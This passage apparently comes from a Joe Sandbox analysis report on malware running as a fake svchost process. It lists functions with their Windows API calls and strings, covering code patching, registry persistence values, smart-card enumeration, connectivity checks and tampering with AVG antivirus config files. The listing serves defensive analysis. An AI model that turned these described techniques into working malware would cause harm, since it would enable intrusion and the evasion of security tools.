VirtualProtect.KERNEL32(?,00000018,00000040,?), ref: 02C89298
GetCurrentProcess.KERNEL32(00000000,00000000), ref: 02C892C7
FlushInstructionCache.KERNEL32(00000000), ref: 02C892CE
VirtualProtect.KERNEL32(?,00000018,?,?), ref: 02C892E2
ReleaseMutex.KERNEL32(?), ref: 02C892F9
Sleep.KERNEL32(00000064), ref: 02C89301

Strings

P0#v, xrefs: 02C892F9

Memory Dump Source

Source File: 00000002.00000002.3417374807.0000000002C70000.00000040.00001000.00020000.00000000.sdmp, Offset: 02C70000, based on PE: true

Associated: 00000002.00000002.3417374807.0000000002CC7000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.3417374807.0000000002CCC000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_2c70000_svchost.jbxd

Yara matches

Similarity

API ID: ProtectVirtual$CacheCurrentFlushInstructionMutexObjectProcessReleaseSingleSleepWait
String ID: P0#v
API String ID: 842647815-3387790918
Opcode ID: 61f986011ddaad9f9f5d0b6dbd3188fa6f5d00b2d0960e879eb0c59615c09e50
Instruction ID: 776aa29ac6adfd7372a221d914691c6ac6f9cd4e1b74a4149aa9d8fb52a3ef11
Opcode Fuzzy Hash: 61f986011ddaad9f9f5d0b6dbd3188fa6f5d00b2d0960e879eb0c59615c09e50
Instruction Fuzzy Hash: 4A215A75A40201EFD725DF55D888F66B7A9FB88714F04CA48E60697790CB30F954CB91

Function 02C88BF0 Relevance: 14.0, APIs: 6, Strings: 2, Instructions: 39registryCOMMON

Download Yara Rule

APIs

IsUserAnAdmin.SHELL32 ref: 02C88BF7
GetTickCount.KERNEL32 ref: 02C88C09
RegOpenKeyExA.KERNEL32(?,software\microsoft,00000000,00000102,?,?,?,?,02C88DC2), ref: 02C88C23
RegSetValueExA.KERNEL32(?,80f5035da,00000000,00000004,?,00000004,software\microsoft,00000000,00000102,?,?,?,?,02C88DC2), ref: 02C88C40
RegFlushKey.ADVAPI32(?,?,?,?,02C88DC2), ref: 02C88C4A
RegCloseKey.ADVAPI32(?,?,?,?,02C88DC2), ref: 02C88C54

Strings

software\microsoft, xrefs: 02C88C1D
80f5035da, xrefs: 02C88C3A

Memory Dump Source

Source File: 00000002.00000002.3417374807.0000000002C70000.00000040.00001000.00020000.00000000.sdmp, Offset: 02C70000, based on PE: true

Associated: 00000002.00000002.3417374807.0000000002CC7000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.3417374807.0000000002CCC000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_2c70000_svchost.jbxd

Yara matches

Similarity

API ID: AdminCloseCountFlushOpenTickUserValue
String ID: 80f5035da$software\microsoft
API String ID: 287100044-1475967691
Opcode ID: af3d3c3d917ee86980ea8899395568b370373d70d68ad8fb6a81ea8d3a2bf517
Instruction ID: b19634f42ef7c3292fa34f6bbd09172dabb954f0f2e18e5e67ba2428723a9bd0
Opcode Fuzzy Hash: af3d3c3d917ee86980ea8899395568b370373d70d68ad8fb6a81ea8d3a2bf517
Instruction Fuzzy Hash: FAF03175D80258FBD701DBA0AD49F9A7B3CAF04701F104795FA06A3180D6709A1587A4

Function 02C93E40 Relevance: 12.4, APIs: 4, Strings: 3, Instructions: 118COMMON

Download Yara Rule

APIs

GetSystemWindowsDirectoryA.KERNEL32(?,00000104), ref: 02C93E6F
GetVolumeInformationA.KERNEL32(?,00000000,00000000,00FFAAFF,00000000,00000000,00000000,00000000), ref: 02C93EA8
_snprintf.MSVCRT ref: 02C93F13
_snprintf.MSVCRT ref: 02C93F76

Strings

7F1BFC6B, xrefs: 02C93F43, 02C93F75
80F503C1a, xrefs: 02C93EE1, 02C93F12
1234567890QWERTYUIOPASDFGHJKLZXCVBNM, xrefs: 02C93E51

Memory Dump Source

Source File: 00000002.00000002.3417374807.0000000002C70000.00000040.00001000.00020000.00000000.sdmp, Offset: 02C70000, based on PE: true

Associated: 00000002.00000002.3417374807.0000000002CC7000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.3417374807.0000000002CCC000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_2c70000_svchost.jbxd

Yara matches

Similarity

API ID: _snprintf$DirectoryInformationSystemVolumeWindows
String ID: 1234567890QWERTYUIOPASDFGHJKLZXCVBNM$7F1BFC6B$80F503C1a
API String ID: 2823094833-2369066373
Opcode ID: 56d286c8fbf1fcafa5865725b26843ec90a64cb741d60294705bbd3a10ff8e41
Instruction ID: e0cbaeed9ecfb537269936f1a9088f204baa542f2f80854772de925ea2260573
Opcode Fuzzy Hash: 56d286c8fbf1fcafa5865725b26843ec90a64cb741d60294705bbd3a10ff8e41
Instruction Fuzzy Hash: FE4125B2E00199ABDB15CB688D88BEEF7FEEF94300F1502E4E545AB280D7716B458780

Function 02C848B0 Relevance: 12.3, APIs: 4, Strings: 3, Instructions: 51registryCOMMON

Download Yara Rule

APIs

IsUserAnAdmin.SHELL32 ref: 02C848D8
RegQueryValueExA.KERNEL32(00000000,80f50428a,00000000,00000000,00000000,?), ref: 02C8491A
RegCloseKey.ADVAPI32(00000000), ref: 02C84924
RegOpenKeyExA.KERNEL32(-80000001), ref: 02C848EA

Part of subcall function 02C73430: IsUserAnAdmin.SHELL32 ref: 02C73438
Part of subcall function 02C73430: RegOpenKeyExA.ADVAPI32(80000001,software\microsoft,00000000,00000101,?), ref: 02C7346F
Part of subcall function 02C73430: RegQueryValueExA.ADVAPI32(?,80f502cfa,00000000,?,00000000,?), ref: 02C7348C
Part of subcall function 02C73430: RegCloseKey.ADVAPI32(?), ref: 02C73496
Part of subcall function 02C73430: RegOpenKeyExA.KERNEL32(80000002,software\microsoft,00000000,00000101,?), ref: 02C734C9
Part of subcall function 02C73430: RegQueryValueExA.KERNEL32(?,80f502cfa,00000000,?,00000000,?), ref: 02C734E6
Part of subcall function 02C73430: RegCloseKey.ADVAPI32(?), ref: 02C734F0

Strings

80f50428a, xrefs: 02C848FB
software\microsoft, xrefs: 02C848CC
80F50B91a, xrefs: 02C84902, 02C84918

Memory Dump Source

Source File: 00000002.00000002.3417374807.0000000002C70000.00000040.00001000.00020000.00000000.sdmp, Offset: 02C70000, based on PE: true

Associated: 00000002.00000002.3417374807.0000000002CC7000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.3417374807.0000000002CCC000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_2c70000_svchost.jbxd

Yara matches

Similarity

API ID: CloseOpenQueryValue$AdminUser
String ID: 80F50B91a$80f50428a$software\microsoft
API String ID: 2113243795-3917903170
Opcode ID: 66b96ee46b1c71e43464b0cad1529f1feb87841dee9d931c06d73110e0bc9115
Instruction ID: 3be5ce622da499e016b5904651f4a545f69ed32f49199a27d74f66c8fb0bfc8c
Opcode Fuzzy Hash: 66b96ee46b1c71e43464b0cad1529f1feb87841dee9d931c06d73110e0bc9115
Instruction Fuzzy Hash: FA0152B5E90249ABDB14DBB4DC45FAE77BCEF44714F104B98F515E7180E77496008B90

Function 02C88FC0 Relevance: 12.1, APIs: 8, Instructions: 139memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNEL32(00000000,-00000008,00003000,00000040,7622F550,00000000,7693BD50,?,?,?,02C8839A,00000000,02C881F0,02CC7D6C), ref: 02C88FF8
memcpy.MSVCRT(?,?,00000000,?,?,?,02C8839A,00000000,02C881F0,02CC7D6C), ref: 02C89020
VirtualProtect.KERNEL32(00000000,?,00000040,02C8839A,?,?,?,?,?,?,02C8839A,00000000,02C881F0,02CC7D6C), ref: 02C890B5
VirtualProtect.KERNEL32(?,00000000,00000040,02C8839A,?,?,?,?,?,?,02C8839A,00000000,02C881F0,02CC7D6C), ref: 02C890CA
VirtualProtect.KERNEL32(?,00000000,02C8839A,?,?,?,00000000,00000000,?,?,?,?,?,?,02C8839A,00000000), ref: 02C890FA
VirtualProtect.KERNEL32(?,00000000,02C8839A,?,?,?,?,?,?,?,02C8839A,00000000,02C881F0,02CC7D6C), ref: 02C89106

Part of subcall function 02C89130: WaitForSingleObject.KERNEL32(?,000003E8,00000000,02C89113,?,?,?,?,?,?,02C8839A,00000000,02C881F0,02CC7D6C), ref: 02C8913C
Part of subcall function 02C89130: GetProcessHeap.KERNEL32(00000008,00000030,?,?,?,?,?,?,02C8839A,00000000,02C881F0,02CC7D6C), ref: 02C89146
Part of subcall function 02C89130: HeapAlloc.KERNEL32(00000000,?,?,?,?,?,?,02C8839A,00000000,02C881F0,02CC7D6C), ref: 02C8914D
Part of subcall function 02C89130: memset.MSVCRT ref: 02C8915E
Part of subcall function 02C89130: ReleaseMutex.KERNEL32(?,?,?,?,?,?,?,02C8839A,00000000,02C881F0,02CC7D6C), ref: 02C891AA

GetCurrentProcess.KERNEL32(00000000,00000000,7622F550,00000000,7693BD50,?,?,?,02C8839A,00000000,02C881F0,02CC7D6C), ref: 02C89117
FlushInstructionCache.KERNEL32(00000000,?,?,?,02C8839A,00000000,02C881F0,02CC7D6C), ref: 02C8911E

Memory Dump Source

Source File: 00000002.00000002.3417374807.0000000002C70000.00000040.00001000.00020000.00000000.sdmp, Offset: 02C70000, based on PE: true

Associated: 00000002.00000002.3417374807.0000000002CC7000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.3417374807.0000000002CCC000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_2c70000_svchost.jbxd

Yara matches

Similarity

API ID: Virtual$Protect$AllocHeapProcess$CacheCurrentFlushInstructionMutexObjectReleaseSingleWaitmemcpymemset
String ID:
API String ID: 2609073853-0
Opcode ID: 8f021d533cd75e031d93a37704bb4763fec1ccb5118302501cceb90092ad35a6
Instruction ID: 7690c3e9f1e6a4d59b50bc6c9277e97bcbfb76cd1f993ad7a093bdfbb91cb0f5
Opcode Fuzzy Hash: 8f021d533cd75e031d93a37704bb4763fec1ccb5118302501cceb90092ad35a6
Instruction Fuzzy Hash: 22410072A40216B7CB10AE788C88FBB777AEF94258F448619F94597384DB35E901C7E0

Function 00402240 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 74filetimeCOMMON

Download Yara Rule

APIs

CreateFileA.KERNEL32(\\.\pipe\acsipc_server,C0000000,00000003,?,00000003,80000080,00000000,00000000), ref: 004022D6
WriteFile.KERNEL32(00000000,D48A445E,00000028,?,00000000), ref: 004022F6
GetSystemTimeAsFileTime.KERNEL32(?), ref: 004022FC
WriteFile.KERNEL32(00000000,B5CB6C63,0000001C,?,00000000), ref: 0040231A
CloseHandle.KERNEL32(00000000), ref: 0040231D

Strings

\\.\pipe\acsipc_server, xrefs: 00402265

Memory Dump Source

Source File: 00000002.00000002.3402365018.0000000000400000.00000040.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.3402365018.000000000045B000.00000040.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_svchost.jbxd

Yara matches

Similarity

API ID: File$TimeWrite$CloseCreateHandleSystem
String ID: \\.\pipe\acsipc_server
API String ID: 3225117150-898603304
Opcode ID: f30bb11f5613f8d38f8c23486348982fdc31315c85d836d9b114ebf2302f727f
Instruction ID: c460779fd0431372b53d2531d074c5320f53f755a2dac54515a3a2487e8d4eb8
Opcode Fuzzy Hash: f30bb11f5613f8d38f8c23486348982fdc31315c85d836d9b114ebf2302f727f
Instruction Fuzzy Hash: DA31F4B1C0121CAFDB10DFD5D985AEEFBB8FB48314F10422AE614BB280D7B41A458F95

Function 02C737C0 Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 35registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExA.KERNEL32(80000001,software\microsoft,00000000,00000102,?,?,?,02C73A91,?), ref: 02C737E0
RegSetValueExA.KERNEL32(00000000,80f50271a,00000000,00000004,?,00000004,?,?,02C73A91,?), ref: 02C737FC
RegFlushKey.ADVAPI32(00000000,?,?,02C73A91,?), ref: 02C7380A
RegCloseKey.ADVAPI32(00000000,?,?,02C73A91,?), ref: 02C73818

Strings

software\microsoft, xrefs: 02C737CF
80f50271a, xrefs: 02C737F6

Memory Dump Source

Source File: 00000002.00000002.3417374807.0000000002C70000.00000040.00001000.00020000.00000000.sdmp, Offset: 02C70000, based on PE: true

Associated: 00000002.00000002.3417374807.0000000002CC7000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.3417374807.0000000002CCC000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_2c70000_svchost.jbxd

Yara matches

Similarity

API ID: CloseFlushOpenValue
String ID: 80f50271a$software\microsoft
API String ID: 2510291871-3506209191
Opcode ID: e63f04f99148dba3b6b7ab9b68f6be2725fa1b7d9692b7ea7081e9efd6cc894c
Instruction ID: 4ccb169730d5804e2a1c6b65925daf7e587f849852541bb732c89dd95e9780d8
Opcode Fuzzy Hash: e63f04f99148dba3b6b7ab9b68f6be2725fa1b7d9692b7ea7081e9efd6cc894c
Instruction Fuzzy Hash: C3F030B5E80248FBE711CA91DD49FAA776CDF04B44F108699FA01E7140D770EA10A7A5

Function 02C93D20 Relevance: 9.1, APIs: 6, Instructions: 87COMMON

Download Yara Rule

APIs

SCardEstablishContext.WINSCARD(00000002,00000000,00000000,02C856A3,00000000), ref: 02C93D45
SCardListReadersA.WINSCARD(02C856A3,00000000,?,FFFFFFFF), ref: 02C93D5C
SCardConnectA.WINSCARD(02C856A3,?,00000002,00000003,?,?), ref: 02C93D8E
SCardFreeMemory.WINSCARD(02C856A3,?), ref: 02C93DC9
SCardReleaseContext.WINSCARD(?), ref: 02C93DDD
SCardReleaseContext.WINSCARD(02C856A3), ref: 02C93DE7

Memory Dump Source

Source File: 00000002.00000002.3417374807.0000000002C70000.00000040.00001000.00020000.00000000.sdmp, Offset: 02C70000, based on PE: true

Associated: 00000002.00000002.3417374807.0000000002CC7000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.3417374807.0000000002CCC000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_2c70000_svchost.jbxd

Yara matches

Similarity

API ID: Card$Context$Release$ConnectEstablishFreeListMemoryReaders
String ID:
API String ID: 4220388116-0
Opcode ID: 573c72c4a9e818c6aef5024e680623d5f20106d5fc941ccebf31bba1b295727c
Instruction ID: c89187b9411d758a93a7aa6bb40e3e85a88ed30e947d8ebbc6ad705c09c80665
Opcode Fuzzy Hash: 573c72c4a9e818c6aef5024e680623d5f20106d5fc941ccebf31bba1b295727c
Instruction Fuzzy Hash: 12310F76E10259ABDF21CF99C858BEEB7BDEF84604F144689E915E7240D770AB04CBA0

Function 02C73750 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 37registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExA.KERNEL32(80000001,software\microsoft,00000000,00000101,?,02C73A83), ref: 02C73784
RegQueryValueExA.KERNEL32(00000000,80f50271a,00000000,?,00000000,?), ref: 02C737A5
RegCloseKey.ADVAPI32(00000000), ref: 02C737B3

Strings

software\microsoft, xrefs: 02C7376C
80f50271a, xrefs: 02C7379F

Memory Dump Source

Source File: 00000002.00000002.3417374807.0000000002C70000.00000040.00001000.00020000.00000000.sdmp, Offset: 02C70000, based on PE: true

Associated: 00000002.00000002.3417374807.0000000002CC7000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.3417374807.0000000002CCC000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_2c70000_svchost.jbxd

Yara matches

Similarity

API ID: CloseOpenQueryValue
String ID: 80f50271a$software\microsoft
API String ID: 3677997916-3506209191
Opcode ID: 438c0b29fcafb0ee7a2b4f30c94ef07994edde75fffedb93b7823bde09dc40ab
Instruction ID: 39ce229bfdeca4e4d3475bb05b3248a25564608a45d619c53a4a46de025325d0
Opcode Fuzzy Hash: 438c0b29fcafb0ee7a2b4f30c94ef07994edde75fffedb93b7823bde09dc40ab
Instruction Fuzzy Hash: ADF03CB4E40248FBEB00CF94DD45FEEBBBCEB08704F104699EA05E7280D7B5A6048B94

Function 02C763B0 Relevance: 7.6, APIs: 5, Instructions: 81sleepthreadCOMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 02C763D0

Part of subcall function 02C83D90: IsNetworkAlive.SENSAPI(02C763DD,00000000), ref: 02C83DA3
Part of subcall function 02C83D90: IsUserAnAdmin.SHELL32 ref: 02C83DB1
Part of subcall function 02C83D90: DnsFlushResolverCache.DNSAPI ref: 02C83DBB
Part of subcall function 02C83D90: memset.MSVCRT ref: 02C83DD8
Part of subcall function 02C83D90: lstrcpynA.KERNEL32(00000000,http://,00000104,?,00000000,00000000), ref: 02C83DF7
Part of subcall function 02C83D90: StrNCatA.SHLWAPI(00000000,www.bing.com,00000104), ref: 02C83E10
Part of subcall function 02C83D90: InternetCheckConnectionA.WININET(00000000,00000001,00000000), ref: 02C83E23
Part of subcall function 02C83D90: memset.MSVCRT ref: 02C83E3C
Part of subcall function 02C83D90: lstrcpynA.KERNEL32(00000000,http://,00000104,?,?,?,?,00000000,00000000), ref: 02C83E55
Part of subcall function 02C83D90: StrNCatA.SHLWAPI(00000000,www.microsoft.com,00000104), ref: 02C83E68
Part of subcall function 02C83D90: InternetCheckConnectionA.WININET(00000000,00000001,00000000), ref: 02C83E75

Sleep.KERNEL32(000001F4,?,76230F10,00000000), ref: 02C763EC
CreateThread.KERNEL32(00000000,00000000,02C76060,00000000,00000000,00000000), ref: 02C76448
WaitForMultipleObjects.KERNEL32(00000040,?,00000001,000000FF,00000000,?,76230F10,00000000), ref: 02C76470
CloseHandle.KERNEL32(?,?,76230F10,00000000), ref: 02C76488

Memory Dump Source

Source File: 00000002.00000002.3417374807.0000000002C70000.00000040.00001000.00020000.00000000.sdmp, Offset: 02C70000, based on PE: true

Associated: 00000002.00000002.3417374807.0000000002CC7000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.3417374807.0000000002CCC000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_2c70000_svchost.jbxd

Yara matches

Similarity

API ID: memset$CheckConnectionInternetlstrcpyn$AdminAliveCacheCloseCreateFlushHandleMultipleNetworkObjectsResolverSleepThreadUserWait
String ID:
API String ID: 2160739018-0
Opcode ID: c1c63429beed57e14c7c737aa08adcf76ba01d878508a86c29c37f994b827aff
Instruction ID: 3dc0d04ed023514038422d4c70a89f5ca956cc4b8728a668e52f9eeb92603945
Opcode Fuzzy Hash: c1c63429beed57e14c7c737aa08adcf76ba01d878508a86c29c37f994b827aff
Instruction Fuzzy Hash: CF21DDB1E80A546BEB10E760ECC5FAE72ADEB8071CF200770EE19A70C0D7709981CAD5

Function 02C86B60 Relevance: 7.6, APIs: 5, Instructions: 68sleepsynchronizationCOMMON

Download Yara Rule

APIs

PathFindFileNameA.SHLWAPI(?), ref: 02C86BAA
FindFirstChangeNotificationA.KERNEL32(?,00000000,0000010D,?,?,00000000), ref: 02C86BE8
WaitForSingleObject.KERNEL32(00000000,000000FF,?,?,00000000), ref: 02C86C03
FindNextChangeNotification.KERNEL32(00000000,?,?,00000000), ref: 02C86C0A
Sleep.KERNEL32(00000BB8,?,?,00000000), ref: 02C86C31

Memory Dump Source

Source File: 00000002.00000002.3417374807.0000000002C70000.00000040.00001000.00020000.00000000.sdmp, Offset: 02C70000, based on PE: true

Associated: 00000002.00000002.3417374807.0000000002CC7000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.3417374807.0000000002CCC000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_2c70000_svchost.jbxd

Yara matches

Similarity

API ID: Find$ChangeNotification$FileFirstNameNextObjectPathSingleSleepWait
String ID:
API String ID: 433761119-0
Opcode ID: c1684ec48ecddef40f8898ff08138462ce2a100142e524eb4fba62c96f528595
Instruction ID: bcfdb10e190382c844aedb08370d7e2ec974b05cb5c38baabface1b0808283fc
Opcode Fuzzy Hash: c1684ec48ecddef40f8898ff08138462ce2a100142e524eb4fba62c96f528595
Instruction Fuzzy Hash: 15212730800659A7DB11A7689D54BEA7BBCEB5130CF308AE5D94193280EB70DA44CFA0

Function 02C764D0 Relevance: 7.6, APIs: 5, Instructions: 64fileCOMMON

Download Yara Rule

APIs

CreateFileA.KERNEL32(?,C0000000,00000003,00000000,00000002,00000080,00000000,00000000,762330D0,76233240,?,02C86C2C,?,00000000,?,?), ref: 02C764FD
WriteFile.KERNEL32(00000000,?,?,?,00000000,?,02C86C2C,?,00000000,?,?,00000000), ref: 02C76518
SetEndOfFile.KERNEL32(00000000,?,02C86C2C,?,00000000,?,?,00000000), ref: 02C76523
GetHandleInformation.KERNEL32(00000000,00000000,?,02C86C2C,?,00000000), ref: 02C76542
CloseHandle.KERNEL32(00000000,?,02C86C2C,?,00000000), ref: 02C76553

Memory Dump Source

Source File: 00000002.00000002.3417374807.0000000002C70000.00000040.00001000.00020000.00000000.sdmp, Offset: 02C70000, based on PE: true

Associated: 00000002.00000002.3417374807.0000000002CC7000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.3417374807.0000000002CCC000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_2c70000_svchost.jbxd

Yara matches

Similarity

API ID: File$Handle$CloseCreateInformationWrite
String ID:
API String ID: 1150544999-0
Opcode ID: ddcbb96374705cf52cbdecc391bc96d03b85cbcf8ec2711a2cff00bd067f1128
Instruction ID: 98b00093aa3a58c397da18543a5d5bb16bafac63a40451ced172bc20f7b26919
Opcode Fuzzy Hash: ddcbb96374705cf52cbdecc391bc96d03b85cbcf8ec2711a2cff00bd067f1128
Instruction Fuzzy Hash: 4111C672680A447BE7218A56EC48FAB7B5CEBC5B64F148219FE05C7185C734CA05D771

Function 02C86B86 Relevance: 7.6, APIs: 5, Instructions: 54sleepsynchronizationCOMMON

Download Yara Rule

APIs

PathFindFileNameA.SHLWAPI(?), ref: 02C86BAA
FindFirstChangeNotificationA.KERNEL32(?,00000000,0000010D,?,?,00000000), ref: 02C86BE8
WaitForSingleObject.KERNEL32(00000000,000000FF,?,?,00000000), ref: 02C86C03
FindNextChangeNotification.KERNEL32(00000000,?,?,00000000), ref: 02C86C0A
Sleep.KERNEL32(00000BB8,?,?,00000000), ref: 02C86C31

Memory Dump Source

Source File: 00000002.00000002.3417374807.0000000002C70000.00000040.00001000.00020000.00000000.sdmp, Offset: 02C70000, based on PE: true

Associated: 00000002.00000002.3417374807.0000000002CC7000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.3417374807.0000000002CCC000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_2c70000_svchost.jbxd

Yara matches

Similarity

API ID: Find$ChangeNotification$FileFirstNameNextObjectPathSingleSleepWait
String ID:
API String ID: 433761119-0
Opcode ID: 08760adc9a92dc8d63bd37e0f43de437070e6a5b343749d6b5ff67433059736e
Instruction ID: 68bbfa5dd690334f510e52825f503ac55621b68adebc6cd197fbbc4c1d8dfd3f
Opcode Fuzzy Hash: 08760adc9a92dc8d63bd37e0f43de437070e6a5b343749d6b5ff67433059736e
Instruction Fuzzy Hash: 8D119130940A59ABDB21EB64DC48BEA77BCFF5130CF2486A8DA51972C0DB709A54CF61

Function 02C76060 Relevance: 7.5, APIs: 5, Instructions: 42memoryCOMMON

Download Yara Rule

APIs

IsUserAnAdmin.SHELL32 ref: 02C76084

Part of subcall function 02C75F50: memset.MSVCRT ref: 02C75F72
Part of subcall function 02C75F50: memset.MSVCRT ref: 02C75F90
Part of subcall function 02C75F50: lstrcpynA.KERNEL32(?,?,00000104), ref: 02C75FAD
Part of subcall function 02C75F50: RegOpenKeyExA.ADVAPI32(00000001,software\microsoft,00000000,00000102,?,?,?), ref: 02C7601D
Part of subcall function 02C75F50: RegSetValueExA.ADVAPI32(?,80F50759a,00000000,00000001,?,00000104), ref: 02C7603F
Part of subcall function 02C75F50: RegCloseKey.ADVAPI32(?), ref: 02C7604D

GetProcessHeap.KERNEL32(00000000,?), ref: 02C760B4
HeapValidate.KERNEL32(00000000), ref: 02C760B7
GetProcessHeap.KERNEL32(00000000,?), ref: 02C760C4
RtlFreeHeap.NTDLL(00000000), ref: 02C760C7

Part of subcall function 02C75C80: memset.MSVCRT ref: 02C75CA0
Part of subcall function 02C75C80: calloc.MSVCRT ref: 02C75CE7
Part of subcall function 02C75C80: exit.MSVCRT ref: 02C75CF6
Part of subcall function 02C75C80: calloc.MSVCRT ref: 02C75CFF
Part of subcall function 02C75C80: exit.MSVCRT ref: 02C75D09
Part of subcall function 02C75C80: calloc.MSVCRT ref: 02C75D27
Part of subcall function 02C75C80: exit.MSVCRT ref: 02C75D33
Part of subcall function 02C75C80: calloc.MSVCRT ref: 02C75D3C
Part of subcall function 02C75C80: exit.MSVCRT ref: 02C75D46
Part of subcall function 02C75C80: calloc.MSVCRT ref: 02C75D64
Part of subcall function 02C75C80: exit.MSVCRT ref: 02C75D71
Part of subcall function 02C75C80: calloc.MSVCRT ref: 02C75D7B
Part of subcall function 02C75C80: exit.MSVCRT ref: 02C75D86

Memory Dump Source

Source File: 00000002.00000002.3417374807.0000000002C70000.00000040.00001000.00020000.00000000.sdmp, Offset: 02C70000, based on PE: true

Associated: 00000002.00000002.3417374807.0000000002CC7000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.3417374807.0000000002CCC000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_2c70000_svchost.jbxd

Yara matches

Similarity

API ID: callocexit$Heap$memset$Process$AdminCloseFreeOpenUserValidateValuelstrcpyn
String ID:
API String ID: 1120961889-0
Opcode ID: e4218edf6ba31e1397917b57c30f898167aba79f535c1c080ad9b59ea0340bec
Instruction ID: 1fcf35d9ee1f3b641c989daa45aed02a64f438b58484f111065045de3195ad55
Opcode Fuzzy Hash: e4218edf6ba31e1397917b57c30f898167aba79f535c1c080ad9b59ea0340bec
Instruction Fuzzy Hash: 97F0F032EC46246BCA202AA5AC08F8BBB5CEF807A5F140A12F508D7080CB759065CAE4

Function 02C769D0 Relevance: 7.5, APIs: 5, Instructions: 20COMMON

Download Yara Rule

APIs

CreateDirectoryA.KERNEL32(00000000,00000000,02C8797D,7f1bf95c,?,?,?,?,?,?), ref: 02C769D7
GetLastError.KERNEL32(00000000,?,?,?,?,?,?), ref: 02C769E2
IsUserAnAdmin.SHELL32 ref: 02C769EA
PathMakeSystemFolderA.SHLWAPI(00000000), ref: 02C769F5
SetLastError.KERNEL32(00000000,?,?,?,?,?,?), ref: 02C769FC

Memory Dump Source

Source File: 00000002.00000002.3417374807.0000000002C70000.00000040.00001000.00020000.00000000.sdmp, Offset: 02C70000, based on PE: true

Associated: 00000002.00000002.3417374807.0000000002CC7000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.3417374807.0000000002CCC000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_2c70000_svchost.jbxd

Yara matches

Similarity

API ID: ErrorLast$AdminCreateDirectoryFolderMakePathSystemUser
String ID:
API String ID: 1233776721-0
Opcode ID: b1ecba415cedae85a45a6f4e2ea15c6acc10cec7b8fdc08286130b115ba33829
Instruction ID: 029d2a93728ab67eaee32f07bc64c6bb064ad0705db6a9bbf4102762476c0be3
Opcode Fuzzy Hash: b1ecba415cedae85a45a6f4e2ea15c6acc10cec7b8fdc08286130b115ba33829
Instruction Fuzzy Hash: 1FD01732E819919BD7131F31EC0CB6F766CBBC5B16F198AA4F842D3040EF34C2128665

Function 00402330 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 64fileCOMMON

Download Yara Rule

APIs

SHGetFolderPathA.SHELL32(00000000,00000026,00000000,00000000,?), ref: 00402348
MoveFileA.KERNEL32(?,?), ref: 0040240F

Strings

\AVG\AVG9\dfncfg.dat, xrefs: 00402388
\AVG\AVG9\dfmcfg.dat, xrefs: 004023CC

Memory Dump Source

Source File: 00000002.00000002.3402365018.0000000000400000.00000040.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.3402365018.000000000045B000.00000040.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_svchost.jbxd

Yara matches

Similarity

API ID: FileFolderMovePath
String ID: \AVG\AVG9\dfmcfg.dat$\AVG\AVG9\dfncfg.dat
API String ID: 1404575960-1083204512
Opcode ID: 85613be8a7ff22d3f2708ffc80a5f36b51ac17d5ce9254ffd30377348588094f
Instruction ID: 218ec206f196096905059f0fa712dce574fe6e09d85f3a618a89c2f21692c038
Opcode Fuzzy Hash: 85613be8a7ff22d3f2708ffc80a5f36b51ac17d5ce9254ffd30377348588094f
Instruction Fuzzy Hash: 43214FB45043448FC759CF14EA98B92BBF4BF98300F1581FADA89A73A2D774D944CB98

Function 02C92F00 Relevance: 6.1, APIs: 4, Instructions: 56timeCOMMON

Download Yara Rule

APIs

